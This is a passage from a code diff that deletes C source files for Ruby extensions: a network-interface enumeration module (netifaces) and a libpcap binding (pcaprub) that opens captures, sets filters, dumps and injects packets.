VALUE rbbraddr = Qnil;
if (strcmp (addr->ifa_name, StringValuePtr(dev)) != 0)
continue;
/* Sometimes there are records without addresses (e.g. in the case of a
dial-up connection via ppp, which on Linux can have a link address
record with no actual address). We skip these as they aren't useful.
Thanks to Christian Kauhaus for reporting this issue. */
if (!addr->ifa_addr)
continue;
found = TRUE;
if (string_from_sockaddr (addr->ifa_addr, buffer, sizeof (buffer)) == 0)
rbaddr = rb_str_new2(buffer);
if (string_from_sockaddr (addr->ifa_netmask, buffer, sizeof (buffer)) == 0)
rbnetmask = rb_str_new2(buffer);
if (string_from_sockaddr (addr->ifa_broadaddr, buffer, sizeof (buffer)) == 0)
rbbraddr = rb_str_new2(buffer);
VALUE result2;
result2 = rb_hash_new();
if (rbaddr)
rb_hash_aset(result2, rb_str_new2("addr"), rbaddr);
if (rbnetmask)
rb_hash_aset(result2, rb_str_new2("netmask"), rbnetmask);
if (rbbraddr)
{
if (addr->ifa_flags & (IFF_POINTOPOINT | IFF_LOOPBACK))
rb_hash_aset(result2, rb_str_new2("peer"), rbbraddr);
else
rb_hash_aset(result2, rb_str_new2("broadcast"), rbbraddr);
}
if (rbaddr || rbnetmask || rbbraddr)
result = add_to_family(result, INT2FIX(addr->ifa_addr->sa_family), result2);
}
freeifaddrs (addrs);
#elif HAVE_SOCKET_IOCTLS
int sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0)
{
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
return Qnil;
}
struct CNAME(ifreq) ifr;
char buffer[256];
int is_p2p = FALSE;
VALUE rbaddr = Qnil;
VALUE rbnetmask = Qnil;
VALUE rbbraddr = Qnil;
VALUE rbdstaddr = Qnil;
strncpy (ifr.CNAME(ifr_name), StringValuePtr(dev), IFNAMSIZ);
#if HAVE_SIOCGIFHWADDR
if (ioctl (sock, SIOCGIFHWADDR, &ifr) == 0)
{
if (string_from_sockaddr (&(ifr.CNAME(ifr_addr)), buffer, sizeof (buffer)) == 0)
{
found = TRUE;
VALUE rbhardw = Qnil;
VALUE hash_hardw;
hash_hardw = rb_hash_new();
rbhardw = rb_str_new2(buffer);
rb_hash_aset(hash_hardw, rb_str_new2("addr"), rbhardw);
result = add_to_family(result, INT2FIX(AF_LINK), hash_hardw);
}
}
#endif
#if HAVE_SIOCGIFADDR
#if HAVE_SIOCGLIFNUM
if (ioctl (sock, SIOCGLIFADDR, &ifr) == 0)
{
#else
if (ioctl (sock, SIOCGIFADDR, &ifr) == 0)
{
#endif
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
{
found = TRUE;
rbaddr = rb_str_new2(buffer);
}
}
#endif
#if HAVE_SIOCGIFNETMASK
#if HAVE_SIOCGLIFNUM
if (ioctl (sock, SIOCGLIFNETMASK, &ifr) == 0)
{
#else
if (ioctl (sock, SIOCGIFNETMASK, &ifr) == 0)
{
#endif
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
{
found = TRUE;
rbnetmask = rb_str_new2(buffer);
}
}
#endif
#if HAVE_SIOCGIFFLAGS
#if HAVE_SIOCGLIFNUM
if (ioctl (sock, SIOCGLIFFLAGS, &ifr) == 0)
{
#else
if (ioctl (sock, SIOCGIFFLAGS, &ifr) == 0)
{
#endif
if (ifr.CNAME(ifr_flags) & IFF_POINTOPOINT)
{
is_p2p = TRUE;
}
}
#endif
#if HAVE_SIOCGIFBRDADDR
#if HAVE_SIOCGLIFNUM
if (!is_p2p && ioctl (sock, SIOCGLIFBRDADDR, &ifr) == 0)
{
#else
if (!is_p2p && ioctl (sock, SIOCGIFBRDADDR, &ifr) == 0)
{
#endif
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
{
found = TRUE;
rbbraddr = rb_str_new2(buffer);
}
}
#endif
#if HAVE_SIOCGIFDSTADDR
#if HAVE_SIOCGLIFNUM
if (is_p2p && ioctl (sock, SIOCGLIFBRDADDR, &ifr) == 0)
{
#else
if (is_p2p && ioctl (sock, SIOCGIFBRDADDR, &ifr) == 0)
{
#endif
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
{
found = TRUE;
rbdstaddr = rb_str_new2(buffer);
}
}
#endif
VALUE result2;
result2 = rb_hash_new();
if (rbaddr)
rb_hash_aset(result2, rb_str_new2("addr"), rbaddr);
if (rbnetmask)
rb_hash_aset(result2, rb_str_new2("netmask"), rbnetmask);
if (rbbraddr)
rb_hash_aset(result2, rb_str_new2("broadcast"), rbbraddr);
if (rbdstaddr)
rb_hash_aset(result2, rb_str_new2("peer"), rbbraddr);
if (rbaddr || rbnetmask || rbbraddr || rbdstaddr)
result = add_to_family(result, INT2FIX(AF_INET), result2);
close (sock);
#endif /* HAVE_SOCKET_IOCTLS */
if (found)
return result;
else
return Qnil;
}
VALUE
rbnetifaces_s_interfaces (VALUE self)
{
VALUE result;
result = rb_ary_new();
#if defined(WIN32)
PIP_ADAPTER_INFO pAdapterInfo = NULL;
PIP_ADAPTER_INFO pInfo = NULL;
ULONG ulBufferLength = 0;
DWORD dwRet;
// First, retrieve the adapter information
do {
dwRet = GetAdaptersInfo(pAdapterInfo, &ulBufferLength);
if (dwRet == ERROR_BUFFER_OVERFLOW)
{
if (pAdapterInfo)
free (pAdapterInfo);
pAdapterInfo = (PIP_ADAPTER_INFO)malloc (ulBufferLength);
if (!pAdapterInfo)
{
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
}
}
} while (dwRet == ERROR_BUFFER_OVERFLOW);
// If we failed, then fail in Ruby too
if (dwRet != ERROR_SUCCESS && dwRet != ERROR_NO_DATA)
{
if (pAdapterInfo)
free (pAdapterInfo);
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
return Qnil;
}
if (dwRet == ERROR_NO_DATA)
{
free (pAdapterInfo);
return result;
}
for (pInfo = pAdapterInfo; pInfo; pInfo = pInfo->Next)
{
int outputnamelen = (MAX_ADAPTER_NAME_LENGTH + 4) + 12;
char outputname[outputnamelen];
memset(outputname, 0x00, outputnamelen);
strncpy(outputname, "\\Device\\NPF_", 12);
int AdapterName_len = strlen(pInfo->AdapterName);
strncpy(outputname + 12, pInfo->AdapterName, AdapterName_len);
VALUE ifname = rb_str_new2(outputname) ;
if(!rb_ary_includes(result, ifname))
rb_ary_push(result, ifname);
}
free (pAdapterInfo);
#elif HAVE_GETIFADDRS
const char *prev_name = NULL;
struct ifaddrs *addrs = NULL;
struct ifaddrs *addr = NULL;
if (getifaddrs (&addrs) < 0)
{
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
}
for (addr = addrs; addr; addr = addr->ifa_next)
{
if (!prev_name || strncmp (addr->ifa_name, prev_name, IFNAMSIZ) != 0)
{
VALUE ifname = rb_str_new2(addr->ifa_name);
if(!rb_ary_includes(result, ifname))
rb_ary_push(result, ifname);
prev_name = addr->ifa_name;
}
}
freeifaddrs (addrs);
#elif HAVE_SIOCGIFCONF
const char *prev_name = NULL;
int fd = socket (AF_INET, SOCK_DGRAM, 0);
struct CNAME(ifconf) ifc;
int len = -1, n;
if (fd < 0) {
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
return Qnil;
}
// Try to find out how much space we need
#if HAVE_SIOCGSIZIFCONF
if (ioctl (fd, SIOCGSIZIFCONF, &len) < 0)
len = -1;
#elif HAVE_SIOCGLIFNUM
#error This code need to be checked first
/*
{ struct lifnum lifn;
lifn.lifn_family = AF_UNSPEC;
lifn.lifn_flags = LIFC_NOXMIT | LIFC_TEMPORARY | LIFC_ALLZONES;
ifc.lifc_family = AF_UNSPEC;
ifc.lifc_flags = LIFC_NOXMIT | LIFC_TEMPORARY | LIFC_ALLZONES;
if (ioctl (fd, SIOCGLIFNUM, (char *)&lifn) < 0)
len = -1;
else
len = lifn.lifn_count;
}
*/
#endif
// As a last resort, guess
if (len < 0)
len = 64;
ifc.CNAME(ifc_len) = len * sizeof (struct CNAME(ifreq));
ifc.CNAME(ifc_buf) = malloc (ifc.CNAME(ifc_len));
if (!ifc.CNAME(ifc_buf)) {
close (fd);
rb_raise(rb_eRuntimeError, "Not enough memory");
return Qnil;
}
#if HAVE_SIOCGLIFNUM
if (ioctl (fd, SIOCGLIFCONF, &ifc) < 0) {
#else
if (ioctl (fd, SIOCGIFCONF, &ifc) < 0) {
#endif
free (ifc.CNAME(ifc_req));
close (fd);
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
return Qnil;
}
struct CNAME(ifreq) *pfreq = ifc.CNAME(ifc_req);
for (n = 0; n < ifc.CNAME(ifc_len)/sizeof(struct CNAME(ifreq));n++,pfreq++)
{
if (!prev_name || strncmp (prev_name, pfreq->CNAME(ifr_name), IFNAMSIZ) != 0)
{
VALUE ifname = rb_str_new2(pfreq->CNAME(ifr_name));
if(!rb_ary_includes(result, ifname))
rb_ary_push(result, ifname);
prev_name = pfreq->CNAME(ifr_name);
}
}
free (ifc.CNAME(ifc_buf));
close (fd);
#endif //
return result;
}
//This function is usefull only under windows to retrieve some additionnal interfaces informations
VALUE
rbnetifaces_s_interface_info (VALUE self, VALUE dev)
{
VALUE result = Qnil;
#if defined(WIN32)
PIP_ADAPTER_INFO pAdapterInfo = NULL;
PIP_ADAPTER_INFO pInfo = NULL;
ULONG ulBufferLength = 0;
DWORD dwRet;
// First, retrieve the adapter information
do {
dwRet = GetAdaptersInfo(pAdapterInfo, &ulBufferLength);
if (dwRet == ERROR_BUFFER_OVERFLOW)
{
if (pAdapterInfo)
free (pAdapterInfo);
pAdapterInfo = (PIP_ADAPTER_INFO)malloc (ulBufferLength);
if (!pAdapterInfo)
{
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
}
}
} while (dwRet == ERROR_BUFFER_OVERFLOW);
// If we failed, then fail in Ruby too
if (dwRet != ERROR_SUCCESS && dwRet != ERROR_NO_DATA)
{
if (pAdapterInfo)
free (pAdapterInfo);
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
return Qnil;
}
if (dwRet == ERROR_NO_DATA)
{
free (pAdapterInfo);
return result;
}
for (pInfo = pAdapterInfo; pInfo; pInfo = pInfo->Next)
{
//dev is the iface GUID on windows with "\\Device\\NPF_" prefix
int cmpAdapterNamelen = (MAX_ADAPTER_NAME_LENGTH + 4) + 12;
char cmpAdapterName[cmpAdapterNamelen];
memset(cmpAdapterName, 0x00, cmpAdapterNamelen);
strncpy(cmpAdapterName, "\\Device\\NPF_", 12);
int AdapterName_len = strlen(pInfo->AdapterName);
strncpy(cmpAdapterName + 12, pInfo->AdapterName, AdapterName_len);
if (strcmp (cmpAdapterName, StringValuePtr(dev)) != 0)
continue;
result = rb_hash_new();
rb_hash_aset(result, rb_str_new2("description"), rb_str_new2(pInfo->Description));
rb_hash_aset(result, rb_str_new2("guid"), rb_str_new2(pInfo->AdapterName));
// Get the name from the registry
const char* prefix = "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\";
const char* sufix = "\\Connection";
int prefix_len = strlen(prefix);
int sufix_len = strlen(sufix);
int adaptername_len = strlen(pInfo->AdapterName);
char* keypath = NULL;
keypath = malloc(prefix_len + sufix_len + adaptername_len + 1);
memset(keypath, 0x00, prefix_len + sufix_len + adaptername_len + 1);
strncpy(keypath, prefix, prefix_len);
strncpy(keypath + prefix_len, pInfo->AdapterName, adaptername_len);
strncpy(keypath + prefix_len + adaptername_len, sufix, sufix_len);
HKEY hKey;
LONG lRet = 0;
LPBYTE buffer = NULL;
DWORD dwSize = 0;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, keypath, 0, KEY_READ, &hKey) == ERROR_SUCCESS)
{
// obtain current value size
lRet = RegQueryValueEx(hKey, "Name", NULL, NULL, NULL, &dwSize);
if (dwSize > 0 && ERROR_SUCCESS == lRet)
{
buffer = malloc((dwSize * sizeof(BYTE)) + 4);
memset(buffer, 0x00, (dwSize * sizeof(BYTE)) + 4);
lRet = RegQueryValueEx(hKey, "Name", NULL, NULL, buffer, &dwSize);
if (ERROR_SUCCESS == lRet)
{
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(buffer));
}
else
{
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(""));
}
free(buffer);
}
else
{
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(""));
}
RegCloseKey(hKey);
}
else
{
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(""));
}
free(keypath);
}
free (pAdapterInfo);
#endif
return result;
}

View File

@ -1,184 +0,0 @@
#ifndef WIN32
# include <sys/types.h>
# include <sys/socket.h>
# include <net/if.h>
# include <netdb.h>
# if HAVE_SOCKET_IOCTLS
# include <sys/ioctl.h>
# include <netinet/in.h>
# include <arpa/inet.h>
#if defined(__sun)
#include <unistd.h>
#include <stropts.h>
#include <sys/sockio.h>
#endif
# endif /* HAVE_SOCKET_IOCTLS */
/* For logical interfaces support we convert all names to same name prefixed with l */
#if HAVE_SIOCGLIFNUM
#define CNAME(x) l##x
#else
#define CNAME(x) x
#endif
#if HAVE_NET_IF_DL_H
# include <net/if_dl.h>
#endif
/* For Linux, include all the sockaddr
definitions we can lay our hands on. */
#if !HAVE_SOCKADDR_SA_LEN
# if HAVE_NETASH_ASH_H
# include <netash/ash.h>
# endif
# if HAVE_NETATALK_AT_H
# include <netatalk/at.h>
# endif
# if HAVE_NETAX25_AX25_H
# include <netax25/ax25.h>
# endif
# if HAVE_NETECONET_EC_H
# include <neteconet/ec.h>
# endif
# if HAVE_NETIPX_IPX_H
# include <netipx/ipx.h>
# endif
# if HAVE_NETPACKET_PACKET_H
# include <netpacket/packet.h>
# endif
# if HAVE_NETROSE_ROSE_H
# include <netrose/rose.h>
# endif
# if HAVE_LINUX_IRDA_H
# include <linux/irda.h>
# endif
# if HAVE_LINUX_ATM_H
# include <linux/atm.h>
# endif
# if HAVE_LINUX_LLC_H
# include <linux/llc.h>
# endif
# if HAVE_LINUX_TIPC_H
# include <linux/tipc.h>
# endif
# if HAVE_LINUX_DN_H
# include <linux/dn.h>
# endif
/* Map address families to sizes of sockaddr structs */
static int af_to_len(int af)
{
switch (af)
{
case AF_INET: return sizeof (struct sockaddr_in);
#if defined(AF_INET6) && HAVE_SOCKADDR_IN6
case AF_INET6: return sizeof (struct sockaddr_in6);
#endif
#if defined(AF_AX25) && HAVE_SOCKADDR_AX25
# if defined(AF_NETROM)
case AF_NETROM: /* I'm assuming this is carried over x25 */
# endif
case AF_AX25: return sizeof (struct sockaddr_ax25);
#endif
#if defined(AF_IPX) && HAVE_SOCKADDR_IPX
case AF_IPX: return sizeof (struct sockaddr_ipx);
#endif
#if defined(AF_APPLETALK) && HAVE_SOCKADDR_AT
case AF_APPLETALK: return sizeof (struct sockaddr_at);
#endif
#if defined(AF_ATMPVC) && HAVE_SOCKADDR_ATMPVC
case AF_ATMPVC: return sizeof (struct sockaddr_atmpvc);
#endif
#if defined(AF_ATMSVC) && HAVE_SOCKADDR_ATMSVC
case AF_ATMSVC: return sizeof (struct sockaddr_atmsvc);
#endif
#if defined(AF_X25) && HAVE_SOCKADDR_X25
case AF_X25: return sizeof (struct sockaddr_x25);
#endif
#if defined(AF_ROSE) && HAVE_SOCKADDR_ROSE
case AF_ROSE: return sizeof (struct sockaddr_rose);
#endif
#if defined(AF_DECnet) && HAVE_SOCKADDR_DN
case AF_DECnet: return sizeof (struct sockaddr_dn);
#endif
#if defined(AF_PACKET) && HAVE_SOCKADDR_LL
case AF_PACKET: return sizeof (struct sockaddr_ll);
#endif
#if defined(AF_ASH) && HAVE_SOCKADDR_ASH
case AF_ASH: return sizeof (struct sockaddr_ash);
#endif
#if defined(AF_ECONET) && HAVE_SOCKADDR_EC
case AF_ECONET: return sizeof (struct sockaddr_ec);
#endif
#if defined(AF_IRDA) && HAVE_SOCKADDR_IRDA
case AF_IRDA: return sizeof (struct sockaddr_irda);
#endif
}
return sizeof (struct sockaddr);
}
#define SA_LEN(sa) af_to_len(sa->sa_family)
#if HAVE_SIOCGLIFNUM
#define SS_LEN(sa) af_to_len(sa->ss_family)
#else
#define SS_LEN(sa) SA_LEN(sa)
#endif
#else
//remove a warning on openbsd
#ifndef SA_LEN
#define SA_LEN(sa) sa->sa_len
#endif
#endif /* !HAVE_SOCKADDR_SA_LEN */
# if HAVE_GETIFADDRS
# include <ifaddrs.h>
# endif /* HAVE_GETIFADDRS */
# if !HAVE_GETIFADDRS && (!HAVE_SOCKET_IOCTLS || !HAVE_SIOCGIFCONF)
/* If the platform doesn't define, what we need, barf. If you're seeing this,
it means you need to write suitable code to retrieve interface information
on your system. */
# error You need to add code for your platform.
# endif
#else /* defined(WIN32) */
#include <windows.h>
#include <winsock2.h>
#include <iphlpapi.h>
#endif /* defined(WIN32) */
#ifndef TRUE
#define TRUE 1
#endif
#ifndef FALSE
#define FALSE 0
#endif
/* On systems without AF_LINK (Windows, for instance), define it anyway, but
give it a crazy value. On Linux, which has AF_PACKET but not AF_LINK,
define AF_LINK as the latter instead. */
#ifndef AF_LINK
# ifdef AF_PACKET
# define AF_LINK AF_PACKET
# else
# define AF_LINK -1000
# endif
# define HAVE_AF_LINK 0
#else
# define HAVE_AF_LINK 1
#endif
//Prototypes
//Get a list of the adresses for a network interface
VALUE rbnetifaces_s_addresses (VALUE class, VALUE dev);
//Get a list of the network interfaces
VALUE rbnetifaces_s_interfaces (VALUE self);
//This function is usefull only under windows to retrieve some additionnal interfaces informations
VALUE rbnetifaces_s_interface_info (VALUE self, VALUE dev);

View File

@ -1,783 +0,0 @@
#include "ruby.h"
#ifndef RUBY_19
#include "rubysig.h"
#endif
#include "netifaces.h"
#include <pcap.h>
#if !defined(WIN32)
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#endif
#if !defined(DLT_IEEE802_11_RADIO_AVS)
#define DLT_IEEE802_11_RADIO_AVS 163
#endif
#if !defined(DLT_LINUX_SLL)
#define DLT_LINUX_SLL 113
#endif
#if !defined(DLT_PRISM_HEADER)
#define DLT_PRISM_HEADER 119
#endif
#if !defined(DLT_AIRONET_HEADER)
#define DLT_AIRONET_HEADER 120
#endif
#if !defined(PCAP_NETMASK_UNKNOWN)
/*
* Value to pass to pcap_compile() as the netmask if you don't know what
* the netmask is.
*/
#define PCAP_NETMASK_UNKNOWN 0xffffffff
#endif
static VALUE rb_cPcap;
#define PCAPRUB_VERSION "0.9-dev"
#define OFFLINE 1
#define LIVE 2
typedef struct rbpcap {
pcap_t *pd;
pcap_dumper_t *pdt;
char iface[256];
char type;
} rbpcap_t;
typedef struct rbpcapjob {
struct pcap_pkthdr hdr;
unsigned char *pkt;
int wtf;
} rbpcapjob_t;
static VALUE
rbpcap_s_version(VALUE class)
{
return rb_str_new2(PCAPRUB_VERSION);
}
static VALUE
rbpcap_s_lookupdev(VALUE self)
{
char *dev = NULL;
char eb[PCAP_ERRBUF_SIZE];
VALUE ret_dev; /* device string to return */
#if defined(WIN32) /* pcap_lookupdev is broken on windows */
pcap_if_t *alldevs;
pcap_if_t *d;
/* Retrieve the device list from the local machine */
if (pcap_findalldevs(&alldevs,eb) == -1) {
rb_raise(rb_eRuntimeError,"%s",eb);
}
/* Find the first interface with an address and not loopback */
for(d = alldevs; d != NULL; d= d->next) {
if(d->name && d->addresses && !(d->flags & PCAP_IF_LOOPBACK)) {
dev=d->name;
break;
}
}
if (dev == NULL) {
rb_raise(rb_eRuntimeError,"%s","No valid interfaces found, Make sure WinPcap is installed.\n");
}
ret_dev = rb_str_new2(dev);
/* We don't need any more the device list. Free it */
pcap_freealldevs(alldevs);
#else
dev = pcap_lookupdev(eb);
if (dev == NULL) {
rb_raise(rb_eRuntimeError, "%s", eb);
}
ret_dev = rb_str_new2(dev);
#endif
return ret_dev;
}
static VALUE
rbpcap_s_lookupaddrs(VALUE self,VALUE dev)
{
char *ldev = NULL;
pcap_addr_t *addresses, *a = NULL;
char eb[PCAP_ERRBUF_SIZE];
VALUE ret_dev; /* device string to return */
pcap_if_t *alldevs;
pcap_if_t *d;
VALUE list;
/* Retrieve the device list from the local machine */
if (pcap_findalldevs(&alldevs,eb) == -1) {
rb_raise(rb_eRuntimeError,"%s",eb);
}
/* Find the first interface with an address and not loopback */
for(d = alldevs; d != NULL; d= d->next) {
if(strcmp(d->name,StringValuePtr(dev)) == 0 && d->addresses && !(d->flags & PCAP_IF_LOOPBACK)) {
ldev=d->name;
addresses=d->addresses;
break;
}
}
if (ldev == NULL) {
rb_raise(rb_eRuntimeError,"%s","No valid interfaces found.\n");
}
list = rb_ary_new();
for(a = addresses; a != NULL; a= a->next) {
switch(a->addr->sa_family)
{
case AF_INET:
if (a->addr)
rb_ary_push(list, rb_str_new2(inet_ntoa((((struct sockaddr_in *)a->addr)->sin_addr))));
break;
/* Don't like the __MINGW32__ comment for the moment need some testing ...
case AF_INET6:
#ifndef __MINGW32__ // Cygnus doesn't have IPv6
if (a->addr)
printf("\tAddress: %s\n", ip6tos(a->addr, ip6str, sizeof(ip6str)));
#endif
break;
*/
default:
break;
}
}
pcap_freealldevs(alldevs);
return(list);
}
static VALUE
rbpcap_s_lookupnet(VALUE self, VALUE dev)
{
bpf_u_int32 net, mask, m;
struct in_addr addr;
char eb[PCAP_ERRBUF_SIZE];
VALUE list;
Check_Type(dev, T_STRING);
if (pcap_lookupnet(StringValuePtr(dev), &net, &mask, eb) == -1) {
rb_raise(rb_eRuntimeError, "%s", eb);
}
addr.s_addr = net;
m = ntohl(mask);
list = rb_ary_new();
rb_ary_push(list, rb_str_new2((char *) inet_ntoa(addr)));
rb_ary_push(list, UINT2NUM(m));
return(list);
}
static int rbpcap_ready(rbpcap_t *rbp) {
if(! rbp->pd) {
rb_raise(rb_eArgError, "a device or pcap file must be opened first");
return 0;
}
return 1;
}
static void rbpcap_free(rbpcap_t *rbp) {
if (rbp->pd)
pcap_close(rbp->pd);
if (rbp->pdt)
pcap_dump_close(rbp->pdt);
rbp->pd = NULL;
rbp->pdt = NULL;
free(rbp);
}
static VALUE
rbpcap_new_s(VALUE class)
{
VALUE self;
rbpcap_t *rbp;
// need to make destructor do a pcap_close later
self = Data_Make_Struct(class, rbpcap_t, 0, rbpcap_free, rbp);
rb_obj_call_init(self, 0, 0);
memset(rbp, 0, sizeof(rbpcap_t));
return self;
}
static VALUE
rbpcap_setfilter(VALUE self, VALUE filter)
{
char eb[PCAP_ERRBUF_SIZE];
rbpcap_t *rbp;
u_int32_t mask = 0, netid = 0;
struct bpf_program bpf;
Data_Get_Struct(self, rbpcap_t, rbp);
if(TYPE(filter) != T_STRING)
rb_raise(rb_eArgError, "filter must be a string");
if(! rbpcap_ready(rbp)) return self;
if(rbp->type == LIVE)
if(pcap_lookupnet(rbp->iface, &netid, &mask, eb) < 0)
rb_raise(rb_eRuntimeError, "%s", eb);
if(pcap_compile(rbp->pd, &bpf, RSTRING_PTR(filter), 0, mask) < 0)
rb_raise(rb_eRuntimeError, "invalid bpf filter");
if(pcap_setfilter(rbp->pd, &bpf) < 0)
rb_raise(rb_eRuntimeError, "unable to set bpf filter");
return self;
}
static VALUE
rbpcap_open_live(VALUE self, VALUE iface,VALUE snaplen,VALUE promisc, VALUE timeout)
{
char eb[PCAP_ERRBUF_SIZE];
rbpcap_t *rbp;
int promisc_value = 0;
if(TYPE(iface) != T_STRING)
rb_raise(rb_eArgError, "interface must be a string");
if(TYPE(snaplen) != T_FIXNUM)
rb_raise(rb_eArgError, "snaplen must be a fixnum");
if(TYPE(timeout) != T_FIXNUM)
rb_raise(rb_eArgError, "timeout must be a fixnum");
switch(promisc) {
case Qtrue:
promisc_value = 1;
break;
case Qfalse:
promisc_value = 0;
break;
default:
rb_raise(rb_eTypeError, "Argument not boolean");
}
Data_Get_Struct(self, rbpcap_t, rbp);
rbp->type = LIVE;
memset(rbp->iface, 0, sizeof(rbp->iface));
strncpy(rbp->iface, RSTRING_PTR(iface), sizeof(rbp->iface) - 1);
if(rbp->pd) {
pcap_close(rbp->pd);
}
rbp->pd = pcap_open_live(
RSTRING_PTR(iface),
NUM2INT(snaplen),
promisc_value,
NUM2INT(timeout),
eb
);
if(!rbp->pd)
rb_raise(rb_eRuntimeError, "%s", eb);
return self;
}
static VALUE
rbpcap_open_live_s(VALUE class, VALUE iface, VALUE snaplen, VALUE promisc, VALUE timeout)
{
VALUE iPcap = rb_funcall(rb_cPcap, rb_intern("new"), 0);
return rbpcap_open_live(iPcap, iface, snaplen, promisc, timeout);
}
static VALUE
rbpcap_open_offline(VALUE self, VALUE filename)
{
char eb[PCAP_ERRBUF_SIZE];
rbpcap_t *rbp;
if(TYPE(filename) != T_STRING)
rb_raise(rb_eArgError, "filename must be a string");
Data_Get_Struct(self, rbpcap_t, rbp);
memset(rbp->iface, 0, sizeof(rbp->iface));
rbp->type = OFFLINE;
rbp->pd = pcap_open_offline(
RSTRING_PTR(filename),
eb
);
if(!rbp->pd)
rb_raise(rb_eRuntimeError, "%s", eb);
return self;
}
static VALUE
rbpcap_open_offline_s(VALUE class, VALUE filename)
{
VALUE iPcap = rb_funcall(rb_cPcap, rb_intern("new"), 0);
return rbpcap_open_offline(iPcap, filename);
}
static VALUE
rbpcap_open_dead(VALUE self, VALUE linktype, VALUE snaplen)
{
rbpcap_t *rbp;
if(TYPE(linktype) != T_FIXNUM)
rb_raise(rb_eArgError, "linktype must be a fixnum");
if(TYPE(snaplen) != T_FIXNUM)
rb_raise(rb_eArgError, "snaplen must be a fixnum");
Data_Get_Struct(self, rbpcap_t, rbp);
memset(rbp->iface, 0, sizeof(rbp->iface));
rbp->type = OFFLINE;
rbp->pd = pcap_open_dead(
NUM2INT(linktype),
NUM2INT(snaplen)
);
return self;
}
static VALUE
rbpcap_open_dead_s(VALUE class, VALUE linktype, VALUE snaplen)
{
VALUE iPcap = rb_funcall(rb_cPcap, rb_intern("new"), 0);
return rbpcap_open_dead(iPcap, linktype, snaplen);
}
static VALUE
rbpcap_dump_open(VALUE self, VALUE filename)
{
rbpcap_t *rbp;
if(TYPE(filename) != T_STRING)
rb_raise(rb_eArgError, "filename must be a string");
Data_Get_Struct(self, rbpcap_t, rbp);
rbp->pdt = pcap_dump_open(
rbp->pd,
RSTRING_PTR(filename)
);
return self;
}
//not sure if this deviates too much from the way the rest of this class works?
static VALUE
rbpcap_dump(VALUE self, VALUE caplen, VALUE pktlen, VALUE packet)
{
rbpcap_t *rbp;
struct pcap_pkthdr pcap_hdr;
if(TYPE(packet) != T_STRING)
rb_raise(rb_eArgError, "packet data must be a string");
if(TYPE(caplen) != T_FIXNUM)
rb_raise(rb_eArgError, "caplen must be a fixnum");
if(TYPE(pktlen) != T_FIXNUM)
rb_raise(rb_eArgError, "pktlen must be a fixnum");
Data_Get_Struct(self, rbpcap_t, rbp);
gettimeofday(&pcap_hdr.ts, NULL);
pcap_hdr.caplen = NUM2UINT(caplen);
pcap_hdr.len = NUM2UINT(pktlen);
pcap_dump(
(u_char*)rbp->pdt,
&pcap_hdr,
(unsigned char *)RSTRING_PTR(packet)
);
return self;
}
static VALUE
rbpcap_inject(VALUE self, VALUE payload)
{
rbpcap_t *rbp;
if(TYPE(payload) != T_STRING)
rb_raise(rb_eArgError, "payload must be a string");
Data_Get_Struct(self, rbpcap_t, rbp);
if(! rbpcap_ready(rbp)) return self;
#if defined(WIN32)
/* WinPcap does not have a pcap_inject call we use pcap_sendpacket, if it suceedes
* we simply return the amount of packets request to inject, else we fail.
*/
if(pcap_sendpacket(rbp->pd, RSTRING_PTR(payload), RSTRING_LEN(payload)) != 0) {
rb_raise(rb_eRuntimeError, "%s", pcap_geterr(rbp->pd));
}
return INT2NUM(RSTRING_LEN(payload));
#else
return INT2NUM(pcap_inject(rbp->pd, RSTRING_PTR(payload), RSTRING_LEN(payload)));
#endif
}
static void rbpcap_handler(rbpcapjob_t *job, struct pcap_pkthdr *hdr, u_char *pkt){
job->pkt = (unsigned char *)pkt;
job->hdr = *hdr;
}
static VALUE
rbpcap_next(VALUE self)
{
rbpcap_t *rbp;
rbpcapjob_t job;
char eb[PCAP_ERRBUF_SIZE];
int ret;
Data_Get_Struct(self, rbpcap_t, rbp);
if(! rbpcap_ready(rbp)) return self;
pcap_setnonblock(rbp->pd, 1, eb);
#ifndef RUBY_19
TRAP_BEG;
#endif
ret = pcap_dispatch(rbp->pd, 1, (pcap_handler) rbpcap_handler, (u_char *)&job);
#ifndef RUBY_19
TRAP_END;
#endif
if(rbp->type == OFFLINE && ret <= 0) return Qnil;
if(ret > 0 && job.hdr.caplen > 0)
return rb_str_new((char *) job.pkt, job.hdr.caplen);
return Qnil;
}
static VALUE
rbpcap_capture(VALUE self)
{
rbpcap_t *rbp;
int fno = -1;
Data_Get_Struct(self, rbpcap_t, rbp);
if(! rbpcap_ready(rbp)) return self;
#if !defined(WIN32)
fno = pcap_get_selectable_fd(rbp->pd);
#else
fno = pcap_fileno(rbp->pd);
#endif
for(;;) {
VALUE packet = rbpcap_next(self);
if(packet == Qnil && rbp->type == OFFLINE) break;
packet == Qnil ? rb_thread_wait_fd(fno) : rb_yield(packet);
}
return self;
}
static VALUE
rbpcap_datalink(VALUE self)
{
rbpcap_t *rbp;
Data_Get_Struct(self, rbpcap_t, rbp);
if(! rbpcap_ready(rbp)) return self;
return INT2NUM(pcap_datalink(rbp->pd));
}
static VALUE
rbpcap_snapshot(VALUE self)
{
rbpcap_t *rbp;
Data_Get_Struct(self, rbpcap_t, rbp);
if(! rbpcap_ready(rbp)) return self;
return INT2NUM(pcap_snapshot(rbp->pd));
}
static VALUE
rbpcap_stats(VALUE self)
{
rbpcap_t *rbp;
struct pcap_stat stat;
